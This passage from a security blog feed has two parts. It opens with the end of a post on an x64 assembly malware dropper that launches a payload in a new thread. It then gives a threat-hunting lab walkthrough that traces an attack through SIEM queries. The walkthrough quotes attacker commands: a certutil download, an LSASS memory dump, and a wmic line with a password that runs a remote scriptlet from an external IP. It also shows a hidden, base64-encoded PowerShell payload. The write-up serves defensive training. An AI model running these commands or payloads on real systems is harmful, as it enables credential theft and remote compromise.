&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_hit_me&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; If all good, run the payload &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ifrvzero&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CreateThread&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xFFFFFFFF&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;WaitForSingleObject&lt;/span&gt;

&lt;span class="nl"&gt;ifrvzero:&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As mentioned before, I did my best to match the structure of the C code to the assembly code to make it easy to compare how one section was translated to the other. There are other parts like the &lt;code&gt;jz ifrvzero&lt;/code&gt; conditonal jump that I didn't discuss, but those can be easily be understood if you know the basics in assembly.&lt;/p&gt;
&lt;p&gt;I've also uploaded the code on it's own repository &lt;a href="https://github.com/accidentalrebel/malware-dropper-x64-win-assembly"&gt;here&lt;/a&gt;. Updates and fixes to the code will be pushed there.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A lot of the concepts I've described in this post were the lessons I learned while working on this project. Most of these can be researched but I'm hoping that collecting them in one location would benefit the next bloke who is crazy like me to do the same.&lt;/p&gt;
&lt;p&gt;Feel free to reach out to me on &lt;a href="https://twitter.com/accidentalrebel"&gt;Twitter&lt;/a&gt; or &lt;a href="https://www.linkedin.com/in/juan-karlo-licudine/"&gt;LinkedIn&lt;/a&gt; for any questions or comments.&lt;/p&gt;
&lt;p&gt;These x64 assembly skills are put to use in &lt;a href="https://www.accidentalrebel.com/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1.html"&gt;Sandbox Evasion by Checking RAM Size&lt;/a&gt;, where I apply the same calling conventions to implement a real evasion technique.&lt;/p&gt;
&lt;p&gt;Also related: &lt;a href="https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-1.html"&gt;String AV Evasion in x64 Assembly&lt;/a&gt;, which uses the stack techniques covered here to hide strings from antivirus scanners.&lt;/p&gt;</content><category term="misc"/><category term="malware"/><category term="assembly"/><category term="reverse-engineering"/></entry><entry><title>Cyber Corp Case 2 Writeup - Part 3</title><link href="https://www.accidentalrebel.com/cyber-corp-case-2-writeup-part-3.html" rel="alternate"/><published>2021-11-06T11:10:00+08:00</published><updated>2021-11-06T11:10:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-11-06:/cyber-corp-case-2-writeup-part-3.html</id><summary type="html">&lt;p&gt;CyberCorp Case 2 part 3 — certutil download, LSASS dumping, WMI lateral movement to a domain controller, and tracking the second reverse shell C2 address.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The &lt;a href="https://cyberdefenders.org/labs/75"&gt;second case of the CyberCorp challenge&lt;/a&gt; on &lt;a href="https://cyberdefenders.org/"&gt;CyberDefenders.org&lt;/a&gt; is all about threat hunting. Created by &lt;a href="https://twitter.com/BlackMatter23"&gt;@BlackMatter23&lt;/a&gt; and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.&lt;/p&gt;
&lt;p&gt;This write-up is the third and final part of this walkthrough. You could read &lt;a href="threat-hunting-from-home-cyber-corp-wmi-persistence"&gt;Part 1 here&lt;/a&gt; and &lt;a href="cyber-corp-case-2-writeup-part-2"&gt;Part 2 here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="finding-the-post-reverse-shell-activity"&gt;Finding the post-reverse shell activity&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 11. As a result of running a malicious code, which we talk about in questions 9 and 10, the attacker got a shell on the compromised host. Using this access, the attacker downloaded the Active Directory collection utility to the host in an encoded form. Specify a comma-separated, non-spaced link where the encoded version of the utility was downloaded and a SHA256 hash of the decoded version that was directly run by the attacker on the compromised host.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So from the question, I knew that the download happened after the reverse-shell was run. And so I changed the start date timestamp to &lt;code&gt;Jun 22, 2021 @ 07:41:56.000&lt;/code&gt;. I also knew that because there was a downloaded file, there would definitely be "NetworkConnection" and "FileCreate" events that would happen afterward. And so, the query I've created is this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;event_type:FileCreate OR event_type:NetworkConnection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-01" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The result shows &lt;code&gt;cmd.exe&lt;/code&gt; creating a &lt;code&gt;certutil.exe&lt;/code&gt; process. And the reason why this is suspicious is that &lt;code&gt;certutil.exe&lt;/code&gt; can be used as an alternative way of downloading files from an external source. You can read more about this &lt;a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The next event shows &lt;code&gt;certutil.exe&lt;/code&gt; establishing a connection to an external IP and downloading the file &lt;code&gt;chrome_installer.log2:data&lt;/code&gt;. This tells us the first half of the answer to the question.&lt;/p&gt;
&lt;p&gt;The next step is to find out the SHA256 of the decoded version of the downloaded file. I then updated the timestamp to &lt;code&gt;Jun 22, 2021 @ 07:46:10.000&lt;/code&gt;, which is the time the file was downloaded, and then used the query:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;event_type:ProcessCreate AND enrich.ioa.max_severity:*&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-02" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;We could see that &lt;code&gt;cmd.exe&lt;/code&gt; created the process &lt;code&gt;svchost.exe&lt;/code&gt;, but the suspicious thing is that the process' directory is &lt;code&gt;c:\windows\temp\&lt;/code&gt; which is highly unusual for &lt;code&gt;svchost.exe&lt;/code&gt; to run from. We can easily assume that the previously downloaded &lt;code&gt;chrome_installer.log2&lt;/code&gt; was renamed to &lt;code&gt;svchost.exe&lt;/code&gt; and this is the one that it ran. Getting the hash for this file will give us the second half of our answer to this question.&lt;/p&gt;
&lt;h2 id="finding-the-dump-file"&gt;Finding the dump file&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 12. During the post-exploitation process, the attacker used one of the standard Windows utilities to create a memory dump of a sensitive system process that contains credentials of active users in the system. Specify the name of the executable file of the utility used and the name of the memory dump file created, separated by a comma without spaces.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Without changing the date range and the query from the previous question, I continued to investigate the other events that have a value of &lt;code&gt;high&lt;/code&gt; in its &lt;code&gt;enrich.ioa.max_severity&lt;/code&gt; field. The event below happened a few seconds after the event from the previous question.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-03" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;From the &lt;code&gt;enrich.ioa.rules&lt;/code&gt; field we can see the value &lt;code&gt;win_memory_dumping_via_comsvcs_minidump&lt;/code&gt;. What happened was that &lt;code&gt;rundll32.exe&lt;/code&gt; executed the &lt;code&gt;comsvs.dll&lt;/code&gt; and dumped the LSASS memory into a dump file. You can learn more about this technique &lt;a href="https://attack.mitre.org/techniques/T1003/001/"&gt;here&lt;/a&gt;. Here is that technique visualized with &lt;a href="https://github.com/accidentalrebel/vATTACK"&gt;my vATT&amp;amp;CK tool&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-04" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;From the information above, we now have what we need to answer the question.&lt;/p&gt;
&lt;h2 id="detecting-lateral-movement"&gt;Detecting lateral movement&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 13. Presumably, the attacker extracted the password of one of the privileged accounts from the memory dump we discussed in the previous question and used it to run a malicious code on one of the domain controllers. What account are we talking about? Specify its username and password as the answer in login:password format.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The first thing I wanted to find out was to figure out what the IP of the domain controller is. I knew that there is a Windows event ID &lt;code&gt;5308 (Microsoft-Windows-Group-Policy)&lt;/code&gt; that lists the domain controller details. So I made a query based on that and also added in search for the texts "domain" and "controller".&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;event_id:5308 AND ("domain" OR "controller")&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And this gave me exactly what I was looking for:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Domain Controller details: 
    Domain Controller Name : DC01-CYBERCORP.cybercorp.com
    Domain Controller IP Address : 192.168.184.100
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now that I know the IP, I can now search for any events related to this IP:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;net_dst_ipv4:192.168.184.100 AND enrich.ioa.max_severity:*&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-05" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, we have a &lt;code&gt;wmic&lt;/code&gt; command that passes the username and password to the domain controller's IP. This answers question 13.&lt;/p&gt;
&lt;h2 id="side-quest-tracing-the-next-steps"&gt;Side Quest: Tracing the next steps&lt;/h2&gt;
&lt;p&gt;I wanted to find out what exactly happens when the command line from the previous question is run:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;wmic  /node:192.168.184.100 /user:inventory /password:jschindler35 process call create 'regsvr32 /u /n /s /i:http://94.177.253.126:8080/Ec9KoccK.sct scrobj.dll'&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;From &lt;a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/T1047.md#atomic-test-6---wmi-execute-remote-process"&gt;my research&lt;/a&gt;, I learned that this is using WMI to execute a process on a remote host. In this case, &lt;code&gt;regsvr32&lt;/code&gt; is called to execute the specified remote &lt;code&gt;.sct&lt;/code&gt; file with &lt;code&gt;scrobj.dll&lt;/code&gt;. More info about this technique &lt;a href="https://attack.mitre.org/techniques/T1218/010/"&gt;here&lt;/a&gt; and &lt;a href="https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1218.010/T1218.010.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution"&gt;here&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-06" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-06.png" /&gt;&lt;/p&gt;
&lt;h2 id="the-second-group"&gt;The second group&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 14. A compromised user account is a member of two Built-in privileged groups on the Domain Controller. The first group is the Administrators. Find the second group. Provide the SID of this group as an answer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To solve this, we'll be needing to make a search query with the following information that we got from the previous questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inventory&lt;/code&gt; - The name of the compromised user account&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DC01-CYBERCORP.cybercorp.com&lt;/code&gt; - The hostname of the domain controller&lt;/li&gt;
&lt;li&gt;&lt;code&gt;192.168.184.100&lt;/code&gt; - IP of the domain controller&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;("inventory&lt;em&gt;" OR "group&lt;/em&gt;") AND "DC01-CYBERCORP.cybercorp.com" AND dev_ipv4:192.168.184.100 AND usr_tgt_name:Inventory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There will be a lot of entries, but the one below would have information that we need:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-07" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-07.png" /&gt;&lt;/p&gt;
&lt;p&gt;The event lists the group membership information for the user &lt;code&gt;inventory&lt;/code&gt;. Within the field &lt;code&gt;usr_token_groups&lt;/code&gt; we can see the following information:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-21-3899523589-2416674273-2941457644-513}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-1-0}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-32-544}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-32-551}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-32-545}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-32-554}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-2}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-11}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-15}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-18-1}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-5-21-3899523589-2416674273-2941457644-1105}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;%{S-1-16-12288}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Based on &lt;a href="https://docs.microsoft.com/en-us/windows/win32/adschema/a-tokengroups"&gt;this&lt;/a&gt; and &lt;a href="https://morgantechspace.com/2015/08/active-directory-tokengroups-vs-memberof.html"&gt;this&lt;/a&gt;, User Token Groups contains the list of security identifiers for groups and that it holds both direct group membership and recursive list of nested groups. This means that the answer to our question is included in that list.&lt;/p&gt;
&lt;p&gt;I decided to search for any mention of the SID format &lt;code&gt;S-1-...&lt;/code&gt;. So I changed the query to this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"S-1-*" AND groups AND "DC01-CYBERCORP.cybercorp.com" AND dev_ipv4:192.168.184.100&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This revealed a new type of &lt;code&gt;event_type&lt;/code&gt; value which is &lt;code&gt;InventoryInfo&lt;/code&gt;, as shown below:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-08" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-08.png" /&gt;&lt;/p&gt;
&lt;p&gt;This inventory info seems to be from an inventory collection tool, but I could not get more info more than that. What is important to us though is the &lt;code&gt;dev_inventory&lt;/code&gt; field which contains:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;...
{
    &amp;quot;sid&amp;quot;: &amp;quot;S-1-5-32-544&amp;quot;,
    &amp;quot;name&amp;quot;: &amp;quot;BUILTIN\\Administrators&amp;quot;,
    &amp;quot;members&amp;quot;: [
        &amp;quot;CYBERCORP\\Administrator&amp;quot;,
        &amp;quot;CYBERCORP\\Enterprise Admins&amp;quot;,
        &amp;quot;CYBERCORP\\Domain Admins&amp;quot;,
        &amp;quot;CYBERCORP\\inventory&amp;quot;
    ]
},
...
{
    &amp;quot;sid&amp;quot;: &amp;quot;S-1-5-32-551&amp;quot;,
    &amp;quot;name&amp;quot;: &amp;quot;BUILTIN\\Backup Operators&amp;quot;,
    &amp;quot;members&amp;quot;: [
        &amp;quot;CYBERCORP\\backupsrv&amp;quot;,
        &amp;quot;CYBERCORP\\inventory&amp;quot;
    ]
},
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The information above shows us two groups that contain &lt;code&gt;inventory&lt;/code&gt; as one of their members. The question mentions something about &lt;code&gt;Administrators&lt;/code&gt; being the first group, then that means the other group is none other than &lt;code&gt;Backup Operators&lt;/code&gt;. Getting the sid of this is our answer to this question.&lt;/p&gt;
&lt;h2 id="the-second-reverse-shell"&gt;The Second Reverse Shell&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 15. As a result of malicious code execution on the domain controller using a compromised account, the attacker got a reverse shell on that host. This shell used a previously not seen IP address as the command center. Specify its address as the answer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;My initial approach was I set the start date to  &lt;code&gt;Jun 22, 2021 @ 08:21:22.000&lt;/code&gt; which is the timestamp when the attacker was able to run a remote code on the domain controller (See question #13). I also searched for &lt;code&gt;event_type&lt;/code&gt; with a value of &lt;code&gt;NetworkConnection&lt;/code&gt; and made sure that the events only happened in the domain controller's IP.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;event_type:NetworkConnection AND dev_ipv4:192.168.184.100&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This, however, showed too many events. There are just too many network events and too little information in the question to sift through them all.&lt;/p&gt;
&lt;p&gt;I knew from the hint that the format of the IP is XXX.XXX.XX.XX. This already helps a lot in narrowing our options, but I still wanted to find it without relying on the hint.&lt;/p&gt;
&lt;p&gt;So I used a different approach. My thought process was to start from when the initial code was ran on the domain controller and go see what happened next. This code ran &lt;code&gt;regsvr32&lt;/code&gt; which executed an external script (See Question #13). We could use in our query, and so we get:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;dev_ipv4:192.168.184.100 OR "regsvr32"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The results of this query was more revealing:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-09" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-09.png" /&gt;&lt;/p&gt;
&lt;p&gt;The very first entry is our &lt;code&gt;wmic&lt;/code&gt; event that used &lt;code&gt;regsvr32&lt;/code&gt;. This is followed by a PowerShell script accessing &lt;code&gt;lsass.exe&lt;/code&gt; and also injecting code into &lt;code&gt;svchost.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I then continued down the list of events to check for any outbound network connections with an IP that has not been previously seen. Unfortunately, the events are still too many to go through. Looking at the Top 5 values also wasn't of too much help.&lt;/p&gt;
&lt;p&gt;Going back to the list of events we can see that immediately following the &lt;code&gt;wmic&lt;/code&gt; event, there is a &lt;code&gt;powershell&lt;/code&gt; process that accesses &lt;code&gt;lsass.exe&lt;/code&gt;. It also has a very interesting entry under the &lt;code&gt;proc_cmdline&lt;/code&gt; field:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;&amp;quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;-nop&lt;/span&gt; &lt;span class="n"&gt;-w&lt;/span&gt; &lt;span class="n"&gt;hidden&lt;/span&gt; &lt;span class="n"&gt;-noni&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;amp;([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(&amp;#39;H4sIADES+14CA7VWa2+bSBT9nEj5D6iyBCiOjV03yUaqtIAhxrVTU2z8qlVhGMPEw6MwxCbd/ve9Y0OaqmnVrrQIiXnc57ln5rLJI5fiOOLc8Sfuy9npychJnZATau51nauF7iUST05guZYlLp1zbzlhKSdJNw4dHK1ubtQ8TVFEj/PGLaJylqFwTTDKBJH7h5sGKEUX79f3yKXcF672qXFL4rVDSrFCddwAcRdy5LG9Qew6LJiGlRBMBf7jR15cXrRWDe1z7pBM4K0ioyhseITwIvdVZA7HRYIEfojdNM7iDW1McfS63ZhEmbNBd2DtAQ0RDWIv40VIA94U0TyNuGNCzMJxX+BhOEpjV/a8FGUZX+eWzPZytfpbWJaOP+QRxSFqGBFFaZxYKH3ALsoaPSfyCPqANivQsmiKI38liiD2EG+RUItyQurcn5gR7tCugu13lYTnSiA1oqlYh0q+lOgw9nKCjqr8C5FC+UV4KgoAdF/PTs9ONxVbvOI5WWB0sjyMEcQmjOIMH6TeclKdG4ITh8ZpAdPaOM2RuHpClqt9dus/125VoiDoZrCwtGPsrUChrGVto07MkG38nJRdtMER6haRE2K34p3wEsBoQ9AhvUYldgcxCXy5gbwuIsh3KEOM1fkHNS3E9ElXyTHxUCq7UKQMooL6id8HcyyCwBvREIUA0HEOxKttgO2oki4ZXlTe2RyEeJU4WVbnRjkcN7fOWcghyKtzcpThckvOaXwY8t/CHeaEYtfJaGVuJT4BWTpU4yijae5C0SD5sZUgFzuEYVHnethDSmFhv3LMv4iE6hAChwAsPUAlYIUhYFFGhRRihLKLDQtRI0wICkHicOx14vhwyEuiH5jj+MjjfwiwIvKRtQyLCoRn4UGBLRLTOmfjlML1wXB1s//i+9mlcYxCTVFZB6E6GUuloIzRtfU9o2OJyCH/lELuehqHipOhy87xehBeNTXcfTPqxo8yPJr+wbQVa2IvjKHXJ5ZBrbmGB5MgMHDL8GFeTDR/RKXk3Xjc61vdnpx298FGNjJD6ymF2VJkt4ev7L4ymYAeVgfm/d6QPSX0Z/5c3RmjYGaAI3XgGz58FSNwFWkh+YqkqwNLCTQsyb5l9sxOa2E0r4mCHy3DknvTJ39PfrROpzfbj+W7YV8O9Pee3mrrB/0t019sbwdd7TB32dycZxrWwI+mz007QFM7UaaavjDtxPDPd75pD5odPVBg3cD7QWI14Wm1+g+R9zgk149DCNe0F32MFoaPCl82ZdmaR8Ra71RZ7V49JHPJ2OoTWNuOjWhvrpOhV8x7zb/sIUZJLJuaLOsEjmMoO7tuszWN35n2G3OiSftiIu132n1zp+H+blt+J7eXl35z0xk1bcuIek6gQLxFv7PF/XPYCx1bmm+aNsOvq0XNx2hGnJHaism62Zrg7pWiGBj174Yu+axAzmDjjbmO1bYbbCAmw782/VkctZ0t2J36MkQH+UGdN30DdJSc4O3kfMZs9XdS2N9LLM6wfw2xtcsYZBoZsybEJ/e6lhrdWsas7SFdaZ67b18xygJna1vvGRN/1j2GTpoFDgGGQleorgQ9TvXyph/FmGkIAvs/2KI0QgTaKzTg6ljJhMQu6zPQEqDDHfsOa4MTGL5uvzgSuSdB8VvzqZZubhYQIhzU9X1jgCKfBnVp/1qSoJdI+44E6f1+UmqcFAIYqrNOBIgcrZKDVZGd21p6dfW/wlTeFQF8vF/D9G3tF7u/BZ1UZ6n+sPj9wh/h+KdZTx1MQdCCm46gY5t9KfmSDs9+QKAcUO1N+bBfyPc5vbiD35Kz038BKGgg/awKAAA=&amp;#39;))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

